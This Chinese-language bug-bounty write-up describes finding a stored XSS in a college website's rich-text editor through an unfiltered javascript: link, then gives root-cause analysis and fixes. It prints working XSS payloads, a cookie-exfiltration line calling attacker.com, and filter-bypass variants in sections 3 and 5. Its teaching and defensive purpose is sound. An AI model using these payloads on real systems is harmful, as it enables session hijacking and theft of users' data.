1. 项目概述一次针对教育机构SRC的存储型XSS挖掘之旅最近在参与一些教育行业的安全众测项目也就是大家常说的“挖SRC”。教育领域edu的资产往往比较特殊既有传统的教务系统、门户网站也有各种实验平台、在线学习系统用户基数大数据敏感因此一直是安全测试的重点关注对象。这次我遇到的是一个典型的学院级系统在看似常规的功能点里通过一些不那么常规的“小思路”成功挖掘到了一个存储型XSS漏洞。整个过程没有用到什么高精尖的自动化工具更多的是对功能逻辑的细致观察和一点点“脑洞”。我觉得这个案例挺有代表性的尤其适合刚入门SRC挖掘的朋友它展示了在常规测试点之外如何通过理解业务逻辑来发现安全问题。所以今天就来详细拆解一下这个漏洞的发现过程、原理、利用方式以及后续的修复建议希望能给大家带来一些启发。存储型XSS也叫持久型XSS是跨站脚本攻击中危害较大的一种。它与反射型XSS最大的区别在于攻击者提交的恶意脚本会被保存到服务器端比如数据库、文件系统或缓存中当其他用户访问包含该恶意数据的页面时脚本就会在其浏览器中执行。这意味着一次成功的攻击可以影响大量用户窃取Cookie、会话令牌甚至进行钓鱼、挂马等操作。在教育系统中这可能意味着学生的个人信息、教师的账号权限面临风险。我这次的目标系统就有一个看似普通但实则暗藏玄机的“信息存储”功能点。2. 目标分析与攻击面梳理2.1 目标系统特征与初步侦察我拿到的测试目标是一个二级学院的官方网站集成了信息发布、师生互动、资源下载等常见功能。这类系统通常由外包公司基于某些开源框架如ThinkPHP、Spring Boot定制开发安全水平参差不齐。我的第一步永远是信息收集但这次我们不谈子域名爆破、端口扫描那些而是聚焦于应用层。首先我以普通访客身份浏览了整个网站重点关注所有允许用户输入和展示数据的地方。常见的攻击面包括用户个人资料昵称、签名、头像上传。内容发布系统新闻评论、论坛发帖、留言板。文件上传点支持上传图片、文档的地方。搜索功能搜索关键词的回显。各种表单联系方式提交、问题反馈、申请表单等。在快速浏览中我特别注意那些内容会被持久化保存即刷新页面或重新登录后依然存在并且会展示给其他用户看的功能。很快一个“优秀学生风采展示”板块引起了我的注意。这个板块允许管理员或特定权限用户发布学生信息包括姓名、学院、照片和一段“个人事迹”介绍。而这段“个人事迹”在详情页会被渲染展示。这里存在一个经典的“数据存储-数据展示”链条是存储型XSS的典型温床。2.2 漏洞假设与测试思路形成看到这个“个人事迹”文本框我脑子里立刻有了几个假设和测试方向基础过滤绕过开发者可能只在前端用JavaScript做了简单的关键词过滤如script或者在后端用replace函数替换掉少数几个标签。这种防御非常脆弱。富文本编辑器滥用如果这个文本框使用了富文本编辑器如UEditor、KindEditor它通常会允许一些HTML标签如p,b,img来格式化文本。那么如何利用编辑器允许的标签和属性来构造XSS就是关键。上下文突破数据最终被插入到HTML页面的哪个位置是在div标签内部还是作为某个HTML属性的值如input value”$data”不同的上下文需要不同的Payload构造方式。触发时机是页面加载即执行还是需要用户进行某些交互如点击、鼠标移动这决定了漏洞的利用难度和隐蔽性。我的核心思路不再是简单地弹个窗证明漏洞存在而是系统地验证数据从输入到存储再到输出的整个生命周期中过滤和编码机制是否存在逻辑缺陷。我准备了一套从简到繁的测试Payload计划逐步探测系统的防御边界。3. 漏洞挖掘过程与细节解析3.1 初探基础Payload测试与过滤识别我首先在“个人事迹”文本框里输入了最基础的测试Payloadscriptalert(1)/script。提交后页面刷新事迹详情页并没有弹窗。查看网页源代码发现输入的尖括号被转义了lt;scriptgt;alert(1)lt;/scriptgt;。这说明后端至少做了HTML实体编码这是一个好的防护迹象但并不意味着绝对安全。接下来我测试了事件处理器属性。输入“ onmouseover”alert(1)。我特意在开头加了个引号目的是想闭合掉原有的属性值引号。提交后查看源码发现整个字符串被原样显示引号也被转义了。看来对普通HTML标签和属性的过滤比较严格。3.2 深入利用富文本编辑器特性与标签属性我注意到这个文本框的工具栏有加粗、斜体、下划线、插入图片等按钮这证实了它是一个简化的富文本编辑器。我点击“插入图片”按钮它弹出一个对话框让我输入图片URL。这是一个非常重要的信号因为img标签是富文本编辑器通常允许的标签。我尝试在图片URL处输入一个经典的XSS Payload1” onerror”alert(1)。提交后查看源码发现生成的HTML是img src”1%22 onerror%22alert(1)” /。这里可以看到src属性值里的双引号被URL编码了%22onerror事件被当作普通字符串处理了没有执行。这是编辑器或后端对属性内容进行了编码或过滤。但是img标签本身是被成功创建了的。那么有没有其他属性可以用于执行脚本呢我回忆了一下img标签有一个不太常用但大部分浏览器支持的属性src指向一个无效地址时会触发onerror此外还有onload等。但这里onerror被拦了。我换了一个思路能否利用某些属性其值本身就是一个可执行的URI协议比如javascript:。我构造了新的Payload在图片URL处输入javascript:alert(1)。提交后查看源码结果是img src”javascript:alert(1)” /。没有弹窗。这是因为在现代浏览器安全策略下img标签的src属性直接使用javascript:协议执行代码的行为已经被严格限制通常不会成功。3.3 破局关键思路——a标签的href属性测试似乎陷入了僵局。基础标签和事件被过滤img的javascript:协议被浏览器限制。这时我换了一个角度思考富文本编辑器除了图片通常还允许什么链接对a标签。我选中一段文字点击编辑器的“插入链接”按钮。在弹出的对话框中有一个“链接地址”输入框。我尝试在这里输入javascript:alert(document.domain)。提交后我查看前端渲染后的HTML代码。令人兴奋的事情出现了生成的代码是a href”javascript:alert(document.domain)”点击这里/a。并且当我在前端点击这个链接时成功弹出了当前页面的域名为什么这里成功了标签允许a标签是富文本编辑器明确允许的格式化元素用于插入超链接因此标签本身没有被过滤。属性利用href属性支持多种协议包括http:、https:、mailto:也包括javascript:。虽然出于安全考虑很多编辑器或WAF会过滤javascript:但显然这个系统没有做到位或者过滤规则存在缺陷比如只做了大小写过滤而我没用大写。交互触发与img的onerror自动触发不同a标签的javascript:协议需要用户点击才能触发。这在存储型XSS中虽然降低了自动传播性但通过社会工程学如将链接文本改为“查看详细成绩单”、“点击领取奖学金”诱骗师生点击的概率非常高危害依然巨大。3.4 漏洞确认与利用链构建为了确认这是一个存储型漏洞我进行了以下操作清理浏览器缓存使用另一个浏览器或隐私模式访问该“优秀学生风采”展示页面。在不登录的情况下直接访问包含恶意链接的学生详情页。页面加载后我看到了那个超链接。点击它alert框再次弹出。这完全符合存储型XSS的定义恶意Payloada href”javascript:alert(document.domain)”被永久存储在服务器的数据库里任何访问该页面的用户在点击链接后都会在其浏览器上下文中执行JavaScript代码。一个基本的利用链就此形成攻击者在拥有发布权限的页面如“个人事迹”编辑处通过插入链接功能在“链接地址”中输入javascript:恶意代码。存储系统将包含恶意a标签的HTML代码存入数据库。受害者任何浏览该页面的师生包括管理员看到这个链接。触发受害者被链接文本吸引点击恶意代码在其浏览器中执行攻击者可以窃取其Cookiedocument.cookie、发起进一步请求如修改密码、发布信息等。4. 漏洞原理深度剖析与修复方案4.1 漏洞根因分析这个漏洞的产生是典型的安全开发意识缺失和防护措施不完善共同导致的不安全的富文本编辑器配置系统集成了富文本编辑器以提供良好的内容编辑体验但未对其输出的HTML进行严格的安全过滤和净化Sanitization。编辑器默认或配置中允许了a标签且未对href属性的协议进行白名单限制如只允许http://,https://,mailto:。输入输出处理逻辑缺陷输入侧后端可能只对直接的script标签和常见事件属性进行了过滤或转义但对于通过编辑器组件提交的、看似“合法”的HTML内容如一个链接缺乏深度检查和过滤。输出侧在将数据库中的内容渲染到页面时系统可能对某些字段直接使用了.innerHTML或类似的不安全赋值方式而没有根据上下文进行正确的编码。对于a标签的href属性即使内容来自用户在输出时也应进行验证或编码。黑白名单策略失衡安全防护过于依赖黑名单阻止已知危险的模式而未能贯彻白名单策略只允许已知安全的模式。黑名单永远无法穷尽所有攻击向量如javascript:的各种变形Javascript:、javaScript:、javascripT:甚至利用HTML实体编码或Unicode混淆。4.2 修复建议与加固措施对于开发者和安全团队修复此类漏洞应从多个层面入手输入处理严格的内容安全策略CSP与过滤富文本净化库不要尝试自己写正则表达式去过滤HTML这极易出错。必须使用成熟、专门针对富文本的HTML净化库例如Java: OWASP Java HTML SanitizerPython:bleach库JavaScript/Node.js:DOMPurify(也可以在服务端使用)PHP:htmlpurifier这些库的工作原理是白名单。你需要明确配置允许的标签如a,p,b和每个标签允许的属性如a标签只允许href,title,target并对属性值进行严格校验如href只允许以http://,https://,mailto:开头并对其进行规范化处理。输出处理上下文相关的编码即使输入经过了过滤输出时也应坚持“编码”原则。根据数据将要放入的HTML上下文采用不同的编码方式HTML正文使用HTML实体编码如将转为lt;。HTML属性值除了HTML实体编码还要注意属性值应该用引号包裹。JavaScript代码中的数据使用JavaScript Unicode转义。URL参数进行URL编码。对于已经过净化的富文本内容在输出到页面时可以将其放入一个安全的“沙箱”环境例如使用iframe的sandbox属性或者设置严格的CSP头来限制内联脚本的执行。启用Content-Security-Policy (CSP)在HTTP响应头中设置CSP是防御XSS的终极利器。它可以告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源。一个严格的CSP可以阻止内联JavaScript包括javascript:协议和onclick等事件处理器的执行。例如可以设置Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com;这表示默认只允许同源资源脚本只允许来自同源和指定的CDN从而有效阻断javascript:和未授权内联脚本的攻击。框架安全特性如果使用了现代前端框架如React, Vue, Angular它们通常提供默认的文本插值转义能有效防御XSS。但切记当使用v-html(Vue) 或dangerouslySetInnerHTML(React) 这类API时就相当于手动关闭了这层防护必须确保传入的内容是绝对安全的。5. 漏洞利用的扩展思考与防御演练5.1 漏洞的潜在危害与升级利用最初我们只是弹了个窗证明了漏洞存在。但在实际攻击中攻击者会追求更大的危害会话劫持将Payload改为a href”javascript:fetch(‘https://attacker.com/steal?cookie’encodeURIComponent(document.cookie))”点击领奖/a。一旦用户点击其会话Cookie就会被发送到攻击者控制的服务器攻击者即可冒充该用户登录。钓鱼升级结合页面伪造。Payload可以是一个打开伪造登录弹窗的JavaScript诱使用户在真实网站上下文中输入账号密码。蠕虫传播如果该系统存在CSRF漏洞或允许JavaScript进行特定API调用攻击者可能构造一个自动发布包含恶意链接新内容的Payload实现蠕虫式传播影响面急剧扩大。结合其他漏洞如果网站存在JSONP劫持、CORS配置错误等问题XSS可以与之联动读取更多敏感用户数据。5.2 针对修复措施的绕过尝试蓝军视角作为安全测试者在厂商修复后我们如何验证修复是否彻底可以尝试以下绕过思路协议混淆大小写混合Javascript:alert(1),javaSCRIPT:...插入控制字符或空白符java script:alert(1)(Tab键)java\nscript:...。使用HTML实体编码如果输出时解码不当#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;:alert(1)利用其他允许的标签和属性如果a被彻底禁用检查是否允许button的formaction属性或者form的action属性虽然通常更难。检查富文本编辑器是否允许style属性尝试使用expression()等旧版IE支持的CSS表达式现代浏览器已不支持但用于测试过滤完整性或尝试通过style引入远程样式表再结合CSS窃取信息一种相对高级的攻击。测试净化库的误配置如果使用了净化库但配置过于宽松例如允许target属性攻击者可能结合target”_blank”和window.opener属性进行钓鱼这属于另一种安全问题但常与XSS结合。5.3 企业SRC挖掘中的注意事项对于想在教育或企业SRC平台挖掘漏洞的安全爱好者我有几点心得理解业务重于盲目扫描自动化扫描器能发现常见、已知的漏洞但对于这种与业务逻辑深度耦合的存储型XSS手动分析功能流程往往更有效。花时间理解“这个功能是做什么的”、“数据怎么存”、“展示给谁看”。关注非标准输入点不要只盯着登录框、搜索框。像“个人简介”、“评论回复”、“文件重命名”、“图表标题”这些地方都可能成为数据持久化和展示的节点。善用浏览器开发者工具这是你最好的朋友。不断查看“元素”Elements面板观察HTML结构变化使用“控制台”Console查看JavaScript错误和日志在“网络”Network面板分析请求与响应看数据是如何被发送和处理。Payload的构造需要耐心和迭代从最简单的script开始逐步增加复杂度。观察系统的反应是直接拦截是转义还是原样输出根据反馈调整你的Payload。遵守规则授权测试绝对不要在未授权的情况下对任何系统进行测试。教育SRC平台通常有明确的测试范围和规则务必仔细阅读并严格遵守。只测试规定范围内的资产使用测试账号避免对业务造成实际影响如大量垃圾数据、DoS等。这次对某学院系统的存储型XSS挖掘核心思路就在于抓住了富文本编辑器中对a标签href属性校验不严的弱点。它再次证明安全是一个链条任何一个环节的疏忽在这里是富文本过滤策略都可能导致整个防线被突破。对于开发者而言牢记“不信任任何用户输入”并采用白名单过滤输出编码安全头如CSP的深度防御策略是构建安全Web应用的基石。对于安全研究者而言保持好奇心深入理解业务逻辑总能发现那些自动化工具难以触及的漏洞角落。